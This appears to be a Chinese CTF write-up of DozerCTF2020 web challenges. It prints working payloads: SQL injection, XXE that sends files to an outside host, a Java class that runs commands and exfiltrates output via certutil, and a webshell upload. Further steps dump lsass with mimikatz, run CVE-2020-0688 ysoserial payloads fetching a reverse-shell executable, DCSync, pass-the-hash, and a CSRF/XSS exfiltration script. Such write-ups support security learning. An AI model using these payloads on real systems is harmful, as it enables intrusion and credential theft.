DozerCTF2020 web
tql
sqli-labs 0
二次编码+堆叠,过滤select,用handler代替
http://118.31.11.216:30501/?id=-1%2527;handler%20uziuzi%20open%20as%20a;handler%20a%20read%20first;%23
白给的反序列化
源码中有文件读取的地方
<?php
class home
{
private $method;
private $args;
public function __construct($method, $args)
{
$this->method = 'mysys';
$this->args = ['flag.php'];
}
}
echo base64_encode(serialize(new home('mysys',['flag.php'])));
%00替换不可见字符
O:4:"home":2:{s:12:"%00home%00method";s:5:"mysys";s:10:"%00home%00args";a:1:{i:0;s:8:"flag.php";}}
svgggggg!
在服务器构造svg的xxe来读取文件
svg:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://ip/1.xml" >
%remote;%template;
]><svg>&res;</svg>
xml
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % template "<!ENTITY res SYSTEM 'http://ip/a?%secret;'>">
先根据第一个hint读r1ck用户的历史记录:
然后读/app/index.php偶然得到一个源码:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
不过这是在app目录下的,结合历史记录,猜测应该是在内网8080端口上运行的这个php
所以先看/etc/hosts得到内网ip为:
172.17.0.9
然后直接读http://172.17.0.9:8080
内容就是上面读到的源码
根据第二个hint getshell,猜测应该是写文件
http://172.17.0.9:8080?id=-1'union+select+1%2C2%23
得到1,2的回显
写shell,内容为system(ls)
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=http://172.17.0.9:8080?id=-1%27union+select+1%2c%27%3c%3fphp+system(ls)%3b%3f%3e%27+into+outfile+%27%2fapp%2fwa.php%27%23">
<!ENTITY % template "<!ENTITY res SYSTEM 'http://ip/a?%secret;'>">
读shell找到flag
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=http://172.17.0.9:8080/H3re_1s_y0ur_f14g.php">
<!ENTITY % template "<!ENTITY res SYSTEM 'http://ip/a?%secret;'>">
简单域渗透-flag1
CVE-2020-7961
https://github.com/MagicZer0/fastjson-rce-exploit
下一个jar文件,然后
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip/ LifExp
得到payload
post包:
这样靶机就会去访问我们服务器上的LifExp.class并解析
先生成一个class,构造LifExp.java
javac LifExp.java
把生成的class放入服务器,然后:
python3 -m http.server 1234
发个包,就会收到请求
由于没有回显所以根据hint用certutil来外带数据,然后编码
先查找flag位置
for /r c:/ %i in (flag) do @echo %i
type C:\Users\root\Desktop\flag.txt
最后的LifExp.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Base64;
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "type C:\\Users\\root\\Desktop\\flag.txt"};
Process process=java.lang.Runtime.getRuntime().exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String str,out="";
while ((str = stdInput.readLine()) != null) {
out=out+str;
}
String base64_1 = Base64.getEncoder().encodeToString(out.getBytes("utf-8"));
String[] cmd2 = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f http://ip:1234/?a="+base64_1+""};
java.lang.Runtime.getRuntime().exec(cmd2);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
-------------------------------------------复现分割线------------------------------------------
简单域渗透-flag2
首先找到web目录放上jspshell
LifExp.java:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class LifExp {
static {
try {
String[] cmd2 = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f http://ip/bin.jsp ..\\webapps\\ROOT\\bin.jsp"};
java.lang.Runtime.getRuntime().exec(cmd2);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
上传jspshell后冰蝎连接
这样dir就有回显了,还挺方便的
先看一下域信息(这里列出域之间的信任关系)
nltest /domain_trusts
然后需要转储内存,用到procdump64.exe和mimikatz.exe
首先用procdump64导出内存(需要管理员权限)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后根据lsass.dmp使用mimikatz来提取密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
但是呢(来自ha1c9on师傅博客)
没办法,我在本地试了用procdump64+mimikatz看一下效果确实可以
总之能得到域用户shark及其密码P@ssw0rd
然后提示是用dsquery导出ldap的信息,flag就在里面,命令
dsquery.exe * -d dozer.org -u shark -p P@ssw0rd -limit 0 -attr *>233.txt
简单域渗透-flag3
让我感觉我是萌新中的萌新
根据上一步用dsquery导出的域信息,找到exchange服务器的名字为DOZER-EXCHANGE
使用nslookup命令查看邮件服务器的ip为10.10.10.4
接下来用reGeorg做代理
https://github.com/sensepost/reGeorg/
然后将其中的tunnel.jsp上传到web目录
然后命令:
python reGeorgSocksProxy.py -p 8080 -u http://web1616.dozerjit.club:8086/tunnel.jsp
然后/etc/proxychains.conf下配置socks4代理为127.0.0.1 8080
这时候用proxychains curl http://127.0.0.1:8080就可以看到内网的html了,这里reGeorg会报错,但是不影响
然后火狐也挂上socks代理
https访问10.10.10.4(一开始一直用的http弄半天,最后发现是https),用户名dozer\shark,密码P@ssw0rd登录即可
简单域渗透-flag4
cve-2020-0688 手工构造
参考文章:
https://www.freebuf.com/vuls/228681.html
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认)
–validationalg = SHA1(默认)
–generator=B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
主要就是后两个值需要手动得到,访问/ecp/default.aspx
generator位于default.aspx–>Response–>__VIEWSTATEGENERATOR
viewstateuserkey位于default.aspx–>Headers–>ASP.NET_SessionId中
https://github.com/pwntester/ysoserial.net/releases/download/v1.32/ysoserial-1.32.zip
下一个ysoserial.exe
然后由于这个主机没有杀软,所以可以用msf生成反弹shellexe,首先需要用frp,frps挂到vps,frpc挂到kali,生成exe放到vpsweb目录(端口为frp转发端口)
然后用ysoserial.exe生成payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/w.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="92bb74b8-b1e0-4845-aea4-3b3e1427c143" --isdebug -islegacy
payload编码一下然后访问:
https://10.10.10.4/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=<payload>
然后故技重施,再生成一个执行exe的payload然后访问即可弹shell
flag在桌面
简单域渗透-flag5
本来想着今天把第五步做了的,但是环境关了,后续再补上
思路就是先用这个dll,将shark用户提升到dsync权限(将shark加入Exchange Trusted Subsystem组)
dll:
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
使用Exchange服务器中特定的ACL实现域提权
powershell命令
import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members shark
然后远程桌面连接,传mimikatz.exe来 dump admin hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:dozer.org /user:adminsitrator /csv" exit
然后回到kali,用psexec.py提权到域控
psexec.py -hashes :4aefab3403a99c6037fbe7f382a881f6 dozer/Administrator@10.10.10.3
fakephpadmin
sql弄不出来,后来说是xss题,contact.php提交url给管理员
然后这里可以用十六进制来绕:
是个反射型的xss,需要构造csrf让管理员将admin_shark.php的东西给我们:
vps上:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/sql.php" method="POST">
<input type="hidden" name="sql" value="select 0x3c7363726970743e66657463682827687474703a2f2f3132372e302e302e312f2f61646d696e5f736861726b2e706870272c7b726566657265723a2027687474703a2f2f3132372e302e302e312f272c63726564656e7469616c733a2027696e636c756465277d292e7468656e28723d3e722e746578742829292e7468656e28723d3e66657463682827687474703a2f2f3132332e35372e3234302e3230352f272b62746f6128722929293b3c2f7363726970743e" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
其中十六进制为:
其实就是跳转到admin_shark然后将其内容编码发到服务器上
fetch('http://127.0.0.1/admin_shark.php',{referer: 'http://127.0.0.1/',credentials: 'include'}).then(r=>r.text()).then(r=>fetch('http://ip/'+btoa(r));